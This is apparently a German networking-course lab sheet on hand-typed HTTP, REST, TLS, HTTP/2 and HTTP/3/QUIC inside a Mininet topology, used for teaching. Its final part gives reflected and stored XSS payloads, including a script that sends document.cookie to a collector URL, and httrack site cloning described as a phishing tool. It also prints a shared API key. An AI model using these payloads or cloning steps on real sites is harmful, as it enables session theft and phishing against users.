07 · HTTP/REST/QUIC von Hand

QUIC läuft hier im eigenen Netz, nicht gegen einen Server im Internet

UDP/443 ist nach außen gesperrt; ein Aufruf gegen einen QUIC-Server im Internet scheitert deshalb in dieser Umgebung. Die Teile 4–7 nutzen stattdessen einen lokalen HTTP/3-Server in `topo01`. Er liegt als lesbares Startskript (`startHTTP3Server.sh`) im Topologie-Verzeichnis – ihr seht darin, welche nginx-Zeile QUIC einschaltet. Der QUIC-Verkehr wird im eigenen Netz mit `tcpdump` als UDP sichtbar.

Lernziele

- HTTP als textbasiertes, zeilenorientiertes Anwendungsprotokoll von Hand sprechen können – ohne Browser oder Bibliothek dazwischen.
- Den Aufbau einer HTTP-Anfrage (Request-Line, Header, Leerzeile, optionaler Body) und einer HTTP-Antwort nachvollziehen.
- REST-artige Abfrageparameter (Query-Strings) und den Einfluss des `Accept`-Headers auf das Antwortformat (JSON vs. XML) verstehen.
- Den Unterschied zwischen einer lokalen, kontrollierten Gegenstelle (topo01-HTTP(S)-Server) und einer echten, externen Web-API (OpenWeatherMap) im eigenen Netzwerkverkehr beobachten können.
- Die drei HTTP-Versionen im Mitschnitt auseinanderhalten: HTTP/1.1 und HTTP/2 laufen über TCP, HTTP/3 läuft über QUIC und damit über UDP.
- Erkennen, dass QUIC (RFC 9000) bewusst auf UDP aufsetzt statt ein neues Transportprotokoll zu sein, und den QUIC-Handshake im Mitschnitt an seinen großen Initial-Paketen wiedererkennen.
- Nachvollziehen, wie ein Server einem über TCP verbundenen Client per `Alt-Svc`-Header (RFC 7838) mitteilt, dass er auch HTTP/3 spricht.

Aufgaben

Teil 1 – Manuelles HTTP gegen die lokale Gegenstelle (topo01)

Bevor ihr gegen einen echten, externen Server sprecht, übt den Ablauf zuerst gegen die euch bereits aus Aufgabenblatt 01 bekannten HTTP(S)-Server in der Topologie `topo01` – hier gibt es keine Rate-Limits, keine Internet-Abhängigkeit und keinen echten API-Schlüssel, der schiefgehen kann.

1. Startet die Topologie, falls sie nicht schon läuft:

   ```
   cd ~/rn-practice/topo01
   ./start-topo01.sh
   ```

2. Startet auf `h1` den einfachen HTTP-Server:

   ```
   python3 startHTTPServer.py &
   ```

3. Sprecht von `h2` aus HTTP manuell per Netcat, statt einen Browser zu benutzen:

   ```
   netcat h1 80
   GET / HTTP/1.1
   Host: h1
   ```

   (Leerzeile am Ende durch zweimaliges Drücken von `Enter ⏎` nicht vergessen – das ist das Ende des Headers und bei `HTTP/1.1` mit `Host`-Header notwendig, damit der Server antwortet.) Beobachtet die Antwort: Status-Zeile, Header, Leerzeile, HTML-Body.

   > **Namen h1/h2 und die numerische Adresse**
   >
   > `topo01` startet auf `h1` einen DNS-Forwarder, der die Namen `h1` und `h2` auflöst; `netcat h1 80` erreicht den Server damit direkt. Ihr könnt ebenso die numerische Adresse verwenden, z. B. `netcat 10.0.1.2 80`.

   Echte, von Hand über `netcat` gesprochene HTTP/1.1-Anfrage gegen den lokalen Server auf `h1` – Status-Zeile, Header, Leerzeile und HTML-Body sind vollständig sichtbar, genau wie ein Browser sie normalerweise verborgen im Hintergrund verarbeitet.

4. Alternativ mit `telnet`, falls installiert, identisch:

   ```
   telnet h1 80
   ```

5. Vergleicht das Ergebnis mit einem Mitschnitt in Wireshark (Filter `ip.addr == 10.0.1.2 && tcp`, Interface auf `h2-eth0`) und mit einem normalen Browseraufruf von `http://h1`

(siehe Aufgabenblatt 01) – der Inhalt ist identisch, nur der Weg dorthin unterscheidet sich.

6. Wiederholt den Versuch gegen den HTTPS-Server (`python3 startHTTPsServer.py` auf `h1`, siehe Aufgabenblatt 01) mit reinem Netcat/Telnet auf Port 443. Beobachtet, dass die Anfrage so **nicht** funktioniert bzw. keine sinnvolle Antwort liefert.

> **Warum das nicht funktioniert**
>
> Netcat und Telnet sprechen nur rohes TCP, keinen TLS-Handshake. HTTPS verlangt aber, dass zuerst eine TLS-Sitzung aufgebaut wird, bevor die HTTP-Anfrage im Klartext hineingereicht werden kann. Für eine manuelle HTTPS-Anfrage bräuchtet ihr ein Werkzeug, das TLS selbst terminiert (z. B. `openssl s_client -connect h1:443`, danach die HTTP-Zeilen wie gewohnt eintippen). Das ist ein guter Beleg dafür, *warum* HTTP und Transportsicherheit (TLS) getrennte Schichten sind.

> **Kurz nachgedacht**
>
> Ein Browser blendet Status-Zeile, Header und Leerzeile normalerweise komplett aus – ihr habt sie gerade von Hand getippt und gelesen. Welchen Teil dieser Anfrage hättet ihr vergessen, wenn ein Browser euch nicht automatisch geholfen hätte?

Teil 2 – Manuelles HTTP/REST gegen die externe OpenWeatherMap-API

Diesen Teil bearbeitet ihr auf `h1` in `topo01`: Nur `h1` hat über den NAT-Uplink einen Weg ins Internet, und der DNS-Forwarder auf `h1` löst auch externe Namen wie `api.openweathermap.org` auf. `h2` hat keine Route nach draußen. Startet `topo01` wie in Teil 1 und arbeitet im Terminal von `h1`.

> **Voraussetzungen**
>
> - `netcat` oder `telnet` müssen installiert sein (sind es auf dem Kurs-Image bereits).
> - Ein API-Schlüssel für OpenWeatherMap. Für die Veranstaltung nutzt bitte den bereitgestellten Schlüssel: `a4a906b6169e02b17c9ef0022802b89b` (bei Bedarf könnt ihr auch kostenlos einen eigenen unter openweathermap.org/appid registrieren).

1. Baut von `h1` aus eine rohe TCP-Verbindung zum API-Server auf:

```
h1$ nc api.openweathermap.org 80
```

oder

```
h1$ telnet api.openweathermap.org 80
```

2. Schickt eine manuelle HTTP-GET-Anfrage (ersetzt `CITY_NAME` und `YOUR_API_KEY`):

```
GET /data/2.5/weather?q=CITY_NAME&appid=YOUR_API_KEY HTTP/1.1
Host: api.openweathermap.org
```

   Bereitet euch die Zeilen am besten vorher in einem Editor vor, damit ihr sie zügig einfügen könnt – der Server hat wie jeder produktive Webserver ein Timeout für unvollständige Anfragen.

3. Alternativ mit geografischen Koordinaten (`LAT` / `LON`, z. B. per Google Maps ermittelt):

```
GET /data/2.5/weather?lat=LAT&lon=LON&appid=YOUR_API_KEY HTTP/1.1
Host: api.openweathermap.org
```

4. Mit dem `Accept`-Header (bzw. dem Query-Parameter `mode`) lässt sich das Antwortformat beeinflussen. Vergleicht JSON- und XML-Antwort:

```
GET /data/2.5/weather?q=CITY_NAME&appid=YOUR_API_KEY&mode=xml HTTP/1.1
Host: api.openweathermap.org
```

5. Zeichnet den gesamten Vorgang mit Wireshark mit (Filter z. B. auf `tcp.port == 80` oder die aufgelöste IP der API) und vergleicht die Rohdaten mit der euch angezeigten Konsolenausgabe.
6. Probiert eigenständig weitere Endpunkte der API aus (Dokumentation: openweathermap.org/current).

Vertiefung (optional): Wenn die API nein sagt

Bisher habt ihr nur den Erfolgsfall gesehen – und `jq` zeigt ohnehin nur den Rumpf der Antwort. Wiederholt eure Abfrage mit `curl -i`, damit Statuszeile und Kopfzeilen sichtbar werden.

Provoziert dann Fehler und schaut euch jeweils **beides** an, Status und Rumpf: ein absichtlich falscher API-Schlüssel, ein Ort, den es nicht gibt, ein Parameter, den ihr weglasst. Notiert, welcher Statuscode jeweils kommt.

Achtet zuletzt auf Kopfzeilen, die etwas über Grenzen sagen (Namen mit `RateLimit` oder `Retry-After`). Ein Programm, das nur den Rumpf liest und den Status wegwirft, hält eine Fehlermeldung für ein Ergebnis – REST ist HTTP, und der Statuscode ist Teil der Antwort.

Stretch Goal (optional): Euer eigener HTTP-Client

Ihr habt HTTP jetzt zweimal von Hand getippt – gegen `h1` in Teil 1 und gegen eine echte API in Teil 2. Schreibt als freiwilliges Stretch-Goal ein kleines Skript (Bash mit `netcat` reicht, Python geht auch), das Host, Pfad und Query-Parameter als Argumente entgegennimmt, daraus eine korrekte HTTP/1.1-Anfrage inklusive `Host`-Header und abschließender Leerzeile zusammensetzt und über `netcat` verschickt. Prüft euer Skript gegen beide Gegenstellen aus diesem Aufgabenblatt. Das ist – anders als die Pflichtaufgaben oben – kein Teil des regulären Bewertungspfads.

Teil 3 – Manuelles HTTP *über TLS* mit `openssl s_client` (`topo01`)

Teil 1 hat gezeigt, dass reines Netcat/Telnet gegen den HTTPS-Server nicht funktioniert, weil beide keinen TLS-Handshake sprechen. In diesem Teil holt ihr genau das nach: `openssl s_client` übernimmt den TLS-Handshake für euch und reicht euch danach eine ganz normale, unverschlüsselte Textleitung weiter, auf der ihr – wie in Teil 1, nur jetzt tatsächlich über HTTPS – die HTTP-Anfrage von Hand eintippt.

Startet `topo01`, falls nicht mehr aktiv:

```
cd ~/rn-practice/topo01
./start-topo01.sh
```

Startet auf `h1` denselben HTTPS-Server, den ihr schon aus Aufgabenblatt 01 kennt:

```
h1$ python3 startHTTPsServer.py
```

PEM-Passphrase erforderlich

Der Server fragt beim Start interaktiv nach einer Passphrase für `key.pem`, bevor er auf Port 443 lauscht. Die Passphrase ist **`mininet`**. Ohne sie bleibt der Server hängen und öffnet nie einen Port – dieselbe Voraussetzung gilt auch für den bereits bestehenden HTTPS-Schritt in Aufgabenblatt 01, Teil 2, Aufgabe 10.

Baut von `h2` aus eine TLS-Verbindung zu `h1` auf:

```
h2$ openssl s_client -connect 10.0.1.2:443
```

Beobachtet zunächst den ausgegebenen Zertifikats-Handshake, **bevor** ihr irgendetwas eintippt – ihr solltet dieselben unsinnigen Zertifikatsangaben (`CN=noway`, `O=Not your buisness`) sehen, die euch in Aufgabenblatt 01, Aufgabe 10 bereits im Browser als Warnung begegnet sind, sowie eine Zeile `verify error:num=18:self-signed certificate`. Tippt dann

direkt die HTTP-Anfrage von Hand ein (analog zu Teil 1, inklusive der abschließenden Leerzeile):

```
GET / HTTP/1.1
Host: h1
Connection: close
```

Aufgabe: Vergleicht die Antwort mit der aus Teil 1 (reines HTTP gegen denselben Server auf Port 80). Ist der HTTP-Teil der Antwort (Status-Zeile, Header, Body) identisch? Was genau hat `openssl s_client` für euch übernommen, das bei purem `netcat` / `telnet` fehlte?

Kurz nachgedacht

`openssl s_client` hat den TLS-Handshake übernommen, die HTTP-Zeilen danach habt ihr wieder selbst getippt. Was genau bleibt an HTTP unverändert, egal ob es über reines TCP (Teil 1) oder über TLS (dieser Teil) läuft – und was ändert TLS wirklich?

Teil 4 – Dieselbe Seite über HTTP/1.1 und HTTP/2 (`topo01`)

Bevor ihr QUIC anschaut, macht den Unterschied zwischen den beiden TCP-basierten HTTP-Versionen sichtbar. Der lokale Server aus dem Skript `startHTTP3Server.sh` beantwortet dieselbe Seite über **alle drei** Versionen gleichzeitig – über TCP (HTTP/1.1 und HTTP/2) und über QUIC (HTTP/3, Teil 5).

Startet `topo01`, falls nicht mehr aktiv, und den Server auf `h1`:

```
cd ~/rn-practice/topo01
./start-topo01.sh
```

```
h1$ cd ~/rn-practice/topo01
h1$ ./startHTTP3Server.sh
```

Werft einen Blick in das Skript

`cat startHTTP3Server.sh` zeigt euch, dass hier kein Hexenwerk passiert: derselbe nginx-`server`-Block hört doppelt – `listen 443 ssl` für TCP (HTTP/1.1 und HTTP/2) und `listen 443 quic` für QUIC. Genau diese eine Zeile schaltet HTTP/3 ein.

Fragt von `h2` aus dieselbe Seite einmal über HTTP/1.1 und einmal über HTTP/2 ab und lasst euch von `curl` die tatsächlich ausgehandelte Version ausgeben:

```
h2$ curl -k --http1.1 -o /dev/null -w 'ausgehandelt: HTTP/%{http_version}\n'
https://10.0.1.2/
h2$ curl -k --http2   -o /dev/null -w 'ausgehandelt: HTTP/%{http_version}\n'
https://10.0.1.2/
```

Zeichnet parallel auf `h2` den TCP-Verkehr mit (`sudo tcpdump -i h2-eth0 -w /tmp/http12.pcap tcp port 443`) und vergleicht: HTTP/2 überträgt in einer einzigen TCP-Verbindung binär gerahmte, gemultiplexte Ströme, während HTTP/1.1 pro Anfrage seriell arbeitet. Beide sind – anders als HTTP/3 in Teil 5 – **TCP**.

> **Hintergrund: HTTP/2 löst nur das halbe Blockier-Problem**
>
> HTTP/2 ersetzte den Textklartext von HTTP/1.1 durch binäre Frames (RFC 9113, Abschnitt 4) und schickt alle Anfragen als parallele Ströme über eine einzige TCP-Verbindung (Abschnitt 5). Damit verschwindet das Head-of-Line-Blocking auf HTTP-Ebene – aber RFC 9113, Abschnitt 1, hält selbst fest: „TCP head-of-line blocking is not addressed by this protocol." Genau dieses verbliebene Problem eine Schicht tiefer war der Grund, HTTP/3 auf QUIC (über UDP) zu stellen.
>
> - RFC 9113, Abschnitt 1/4/5: https://www.rfc-editor.org/rfc/rfc9113.html
> - MDN, „Evolution of HTTP": https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Evolution_of_HTTP

Teil 5 – HTTP/3 von Hand beobachten: QUIC ist UDP (`topo01`)

Jetzt der eigentliche QUIC-Teil. HTTP/3 ist HTTP über QUIC (RFC 9114), und QUIC läuft über **UDP** (RFC 9000) – nicht über TCP. Das macht ihr im eigenen Netz sichtbar, ohne dass die nach außen gesperrte UDP/443-Regel eine Rolle spielt.

Der Server aus Teil 4 spricht bereits HTTP/3. Startet auf `h2` einen Mitschnitt, der **nur UDP auf Port 443** aufzeichnet, und ruft dann die Seite gezielt über HTTP/3 ab:

```
h2$ sudo tcpdump -i h2-eth0 -w /tmp/quic.pcap udp port 443 &
h2$ curl -k --http3-only -o /dev/null -w 'ausgehandelt: HTTP/%{http_version},
Status %{response_code}\n' https://10.0.1.2/
```

`--http3-only` erzwingt HTTP/3 (kein Rückfall auf TCP). Beendet danach den Mitschnitt (`sudo pkill tcpdump`) und schaut hinein:

```
h2$ tcpdump -r /tmp/quic.pcap -n | head
```

Aufgabe: Vergleicht diesen Mitschnitt mit dem TCP-Mitschnitt aus Teil 4. Auf welcher Transportschicht (Protokoll, Port) läuft HTTP/3? Warum sieht ein Filter wie `tcp port 443`

hier **nichts**, obwohl ihr eine „HTTPS"-Seite abgerufen habt?

> **Hintergrund: „QUIC" ist kein Akronym und läuft absichtlich in UDP**
>
> QUIC ist kein neues Transportprotokoll neben TCP und UDP, sondern läuft *in* UDP-Datagrammen: „QUIC packets are carried in UDP datagrams … to better facilitate deployment in existing systems and networks" (RFC 9000, Abschnitt 1). Der Grund – NATs und Middleboxen lassen praktisch nur TCP und UDP durch – steht in RFC 9308, Abschnitt 2: UDP „permits traversal of network middleboxes (including NAT) without requiring updates to existing network infrastructure". RFC 9000, Abschnitt 1.2, hält zudem fest „QUIC is a name, not an acronym" – die oft gelesene Auflösung „Quick UDP Internet Connections" stammt von Googles Vorläuferprotokoll und gilt für den IETF-Standard nicht.
>
> - RFC 9000, Abschnitt 1/1.2, und RFC 9308, Abschnitt 2: https://www.rfc-editor.org/rfc/rfc9000.html
> - Cloudflare Blog, „The Road to QUIC": https://blog.cloudflare.com/the-road-to-quic/

Teil 6 – Der QUIC-Handshake im Mitschnitt: das 1200-Byte-Initial (`topo01`)

Schaut euch den Mitschnitt aus Teil 5 genauer an. Die **ersten** Pakete, die `h2` an `h1` sendet, sind auffällig groß – rund 1200 Byte –, obwohl noch gar keine Nutzdaten geflossen sind:

```
h2$ tcpdump -r /tmp/quic.pcap -n -v | head -20
```

Zählt die Paketgrößen der ersten Datagramme vom Client (`10.0.x.x > 10.0.1.2`) und vergleicht sie mit den ersten Antworten des Servers.

Aufgabe: Die QUIC-Spezifikation (RFC 9000, Abschnitt 14.1) verlangt, dass der Client sein erstes Paket auf mindestens 1200 Byte **auffüllt** (Padding). Überlegt: Warum schreibt ein Protokoll ausgerechnet eine *Mindestgröße* für das erste Paket vor? (Stichwort: Ein Angreifer könnte mit einer kleinen, gefälschten Anfrage eine große Antwort an ein Opfer auslösen – eine *Amplification*. Wie verhindert eine Mindestgröße der Anfrage genau das?)

Hintergrund: warum das erste QUIC-Paket auf 1200 Byte aufgefüllt wird

Ein QUIC-Client muss jedes UDP-Datagramm, das ein Initial-Paket trägt, mit PADDING-Frames auf mindestens 1200 Byte UDP-Nutzlast auffüllen (RFC 9000, Abschnitt 14.1). Das dient zwei Zwecken: Es beweist, dass der Pfad Pakete dieser Größe trägt, und es dämpft Amplification-Angriffe – denn vor der Adressvalidierung darf ein Server höchstens dreimal so viele Bytes senden, wie er empfangen hat (RFC 9000, Abschnitt 8.1). Ein Server muss zu kleine Initial-Pakete sogar verwerfen, sonst würde er zum Reflektor für gefälschte Absenderadressen.

- RFC 9000, Abschnitt 8.1/14.1: https://www.rfc-editor.org/rfc/rfc9000.html
- „The Illustrated QUIC Connection" (quic.xargs.org): https://quic.xargs.org/

Kurz nachgedacht

Das Padding auf 1200 Byte schützt vor Amplification-Angriffen, weil ein Server vor der Adressvalidierung höchstens das Dreifache dessen senden darf, was er empfangen hat. Was würde passieren, wenn der Client sein erstes Paket stattdessen winzig klein halten dürfte?

Teil 7 – `Alt-Svc`: wie ein Client von TCP auf HTTP/3 umsteigt (`topo01`)

Ein Browser spricht einen Server zuerst fast immer über TCP an (HTTP/1.1 oder HTTP/2). Woher weiß er dann, dass er auf das schnellere HTTP/3 über QUIC wechseln kann? Der Server sagt es ihm – mit dem **`Alt-Svc`**-Header (*Alternative Services*, RFC 7838).

Fragt den Server aus Teil 4/5 über TCP an und lasst euch nur die Kopfzeilen zeigen:

```
h2$ curl -k -I https://10.0.1.2/
```

Achtet in der Ausgabe auf die Zeile `alt-svc: h3=":443"; ma=86400`. Sie sagt dem Client: „Denselben Dienst gibt es auch als HTTP/3 (`h3`) auf Port 443, und du darfst dir das 86400 Sekunden lang merken (`ma`)."

Aufgabe: Erklärt die Reihenfolge, in der ein realer Browser vorgeht: erster Kontakt über TCP, `Alt-Svc` empfangen, danach Wechsel auf QUIC. Warum kann HTTP/3 nicht einfach „von Anfang an" benutzt werden, ohne dass der Client den Server vorher kennt? (Stichwort: Der Client weiß vor dem `Alt-Svc`-Hinweis nicht, ob der Server QUIC überhaupt spricht – und ein blindes UDP/443 könnte unterwegs gesperrt sein, wie in dieser Umgebung nach außen.)

Hintergrund: `Alt-Svc` und die DNS-Alternative

Ein über HTTP/1.1 oder HTTP/2 verbundener Client erfährt von HTTP/3 durch das Antwort-Header-Feld `Alt-Svc` (RFC 7838, Abschnitt 3), z. B. `Alt-Svc: h3=":443"`. Welche Version dann tatsächlich gesprochen wird, klärt der ALPN-Token im TLS-Handshake: „h3" steht für HTTP/3 (RFC 9114, Abschnitt 3.1). Ein weiterer Weg ist der HTTPS/SVCB-Eintrag im DNS (RFC 9460), über den der Client schon vor dem ersten Kontakt erfährt, dass ein Dienst HTTP/3 anbietet.

Kurz nachgedacht

Der Client musste den Server erst über TCP erreichen, bevor er von `Alt-Svc` erfuhr. Warum kann ein Browser nicht einfach beim allerersten Kontakt zu einem unbekannten Server direkt QUIC probieren?

Teil 8 – Site-Cloning und eingeschleustes Skript: XSS im lokalen Übungsziel (`topo01`)

Nur gegen das eigene Übungsziel in dieser Topologie

Dieser Teil übt Werkzeuge, die man von Kali Linux kennt (Site-Cloning, Cross-Site-Scripting) – ausschließlich gegen einen absichtlich verwundbaren Server, den ihr selbst in `topo01` startet. `h2`, von wo aus ihr in diesem Teil arbeitet, hat **keine Route ins Internet** (anders als `h1`, das für Teil 2 eine NAT-Route nach draußen braucht) – ein Aufruf gegen ein externes Ziel scheitert von hier aus technisch, nicht nur aus Vorsicht. Übertragt nichts davon auf ein Ziel außerhalb dieser Topologie.

HTTP/REST-Anfragen von Hand zu sprechen (Teile 1–3) heißt auch: zu sehen, was mit den Daten passiert, die eine Anfrage mitbringt – zum Beispiel ein Suchbegriff in einer Query-String. Wenn ein Server diesen Wert ungeprüft in seine HTML-Antwort einbaut, kann die Antwort selbst ausführbaren Code enthalten: Cross-Site-Scripting (XSS). Dieser Teil zeigt den Netzwerkeffekt davon – wie ein solcher Payload über die Leitung geht und im Mitschnitt sichtbar bleibt – nicht Web-Sicherheit als Selbstzweck.

1. Startet `topo01`, falls nicht mehr aktiv, und auf `h1` das absichtlich verwundbare Übungsziel (Port 8080, unabhängig vom Server aus Teil 1 auf Port 80):

```
cd ~/rn-practice/topo01
./start-topo01.sh
```

```
h1$ cd ~/rn-practice/topo01
h1$ python3 startXSSLabServer.py &
```

2. Findet von `h2` aus die reflektierte Lücke in `/suche`: der Parameter `q` landet unescaped in der Antwort.

```
h2$ curl -s 'http://10.0.1.2:8080/suche?q=<script>alert(1)</script>'
```

   Prüft in der Ausgabe: steht `<script>alert(1)</script>` unverändert (nicht als `<script>`) im HTML? Genau das ist die Lücke – jeder Browser, der diese Antwort rendert, würde das Skript ausführen.

3. Schreibt einen Eintrag ins Gästebuch, der beim nächsten Abruf durch jeden Besucher erneut ausgeführt würde (gespeichertes XSS) – als Payload einen harmlosen, rein internen Cookie-Mitschnitt statt eines externen Aufrufs:

```
h2$ curl -s 'http://10.0.1.2:8080/gaestebuch?name=Angreifer&text=
<script>fetch("/sammler?c="+document.cookie)</script>'
h2$ curl -s 'http://10.0.1.2:8080/gaestebuch'
```

   Der zweite Aufruf zeigt, dass der Eintrag jetzt **dauerhaft** in der Seite steht – anders als bei der reflektierten Lücke aus Schritt 2, die nur in der eigenen Antwort auftaucht.

4. Simuliert, was ein Browser täte, der diese Seite lädt: er würde das eingeschleuste `fetch(...)` ausführen und `document.cookie` an `/sammler` schicken. Ruft testweise dieselbe URL wie im Payload direkt auf:

```
h2$ curl -s 'http://10.0.1.2:8080/sammler?c=sitzung=demo-uebungswert-42'
h2$ curl -s 'http://10.0.1.2:8080/sammler/log'
```

   `/sammler` ist bewusst derselbe interne Server – der "Diebstahl" bleibt innerhalb von `topo01`, es wird nichts exfiltriert. Wer einen grafischen Browser zur Hand hat, kann die Payload-URL aus Schritt 3 stattdessen wirklich öffnen (`h2 firefox-esr http://10.0.1.2:8080/gaestebuch &` im Mininet-CLI) und beobachten, dass `alert(1)` bzw. der `fetch`-Aufruf ohne weiteres Zutun feuert.

5. Schneidet die Strecke zwischen `h1` und `h2` mit, während ihr Schritt 2–4 wiederholt, und sucht den Payload im Klartext:

```
h2$ sudo tcpdump -i h2-eth0 -w /tmp/teil8-xss.pcap -U &
# Schritte 2-4 wiederholen
h2$ sudo pkill tcpdump
h2$ tcpdump -r /tmp/teil8-xss.pcap -A | grep -E 'script|sammler'
```

   Aufgabe: Findet im Mitschnitt (a) die Anfrage mit dem reflektierten Payload, (b) die Anfrage, die den gespeicherten Payload einträgt, und (c) die Anfrage an `/sammler`, die den Cookie-Wert überträgt. Alle drei stehen im Klartext auf der Leitung – HTTP

verschlüsselt nichts. Was würde sich ändern, wenn der Server stattdessen HTTPS spräche (vgl. Teil 3)?

6. Klont das Übungsziel mit `httrack`, dem Site-Cloning-Werkzeug – dem Werkzeug, mit dem man z. B. eine Phishing-Kopie einer Seite erzeugt:

```
h2$ mkdir -p ~/rn-practice/topo01/clone-uebungsziel
h2$ httrack "http://10.0.1.2:8080/" -O ~/rn-practice/topo01/clone-
uebungsziel -%v -r1
h2$ ls ~/rn-practice/topo01/clone-uebungsziel
```

   Aufgabe (Gegenprobe): Versucht denselben Befehl gegen ein Ziel außerhalb der Topologie, z. B. `httrack "http://1.1.1.1/" -O /tmp/clone-extern`. Vergleicht `ip route` auf `h2` mit dem auf `h1` (`h2$ ip route`, dann `h1$ ip route`) und erklärt, warum der zweite Aufruf technisch scheitert (Timeout/"Network unreachable"), während der erste funktioniert.

Potenzielle Herausforderungen

- **QUIC/HTTP-3 (Teile 4–7) läuft ausschließlich lokal.** Ein Aufruf gegen einen QUIC-Server im Internet scheitert an dieser Umgebung, weil UDP/443 nach außen gesperrt ist; im eigenen Mininet-Netz spielt das keine Rolle. `nginx -V` zeigt `--with-http_v3_module`, `curl -V` listet `HTTP3`, und `curl --http3-only` erreicht den lokalen Server mit HTTP-Status 200 über UDP/443.
- **Teil 8 (Site-Cloning/XSS) funktioniert technisch nur gegen das eigene Übungsziel.** `h2` hat keine Route ins Internet (`r1` / `r2` bekommen in `topo01.py` keine Default-Route mit), und `startXSSLabServer.py` nimmt selbst nie eine ausgehende Verbindung auf – ein Aufruf gegen ein Ziel außerhalb der Topologie scheitert daher technisch, nicht nur aus Vorsicht.
- **Internet-Zugriff für Teil 2 nur über `h1`.** In `topo01` hat allein `h1` über den NAT-Uplink einen Weg nach draußen; `h2` hat keine Route ins Internet. Bearbeitet Teil 2 deshalb auf `h1`. Ob der ausgehende Zugriff auf `api.openweathermap.org:80` gelingt, hängt zusätzlich von der Firewall-/Proxy-Konfiguration des Container-Hosts ab. Schlägt die Verbindung trotz laufender Topologie fehl, ist das ein Hinweis auf eine restriktive Egress-Regel und kein Anwendungsfehler.
- **Timeouts bei manueller Eingabe.** Wie im Hinweistext oben erwähnt, gelten für handgetippte Anfragen dieselben Server-seitigen Timeouts wie für einen echten Client – bereitet die Anfragezeilen vorher vor.
- **Rate-Limit des gemeinsamen API-Schlüssels.** Der für die Veranstaltung bereitgestellte Schlüssel wird von allen Teilnehmenden gemeinsam genutzt; bei einer hohen Anzahl

gleichzeitiger Anfragen ist ein Rate-Limit von OpenWeatherMap nicht auszuschließen.

Quellen

- `mininet-labs/vertiefung/Labor-05-SCT-QUIC-HTTP-REST.tex`
- `mininet-labs/rn-practice/topo01/` (lokale HTTP(S)-Server als Vorstufe)
- `mininet-labs/rn-practice/topo01/startHTTP3Server.sh` – der lesbare nginx-Startpunkt für HTTP/3 über QUIC (Teile 4–7)
- `mininet-labs/rn-practice/topo01/startXSSLabServer.py` – das absichtlich verwundbare Übungsziel für Teil 8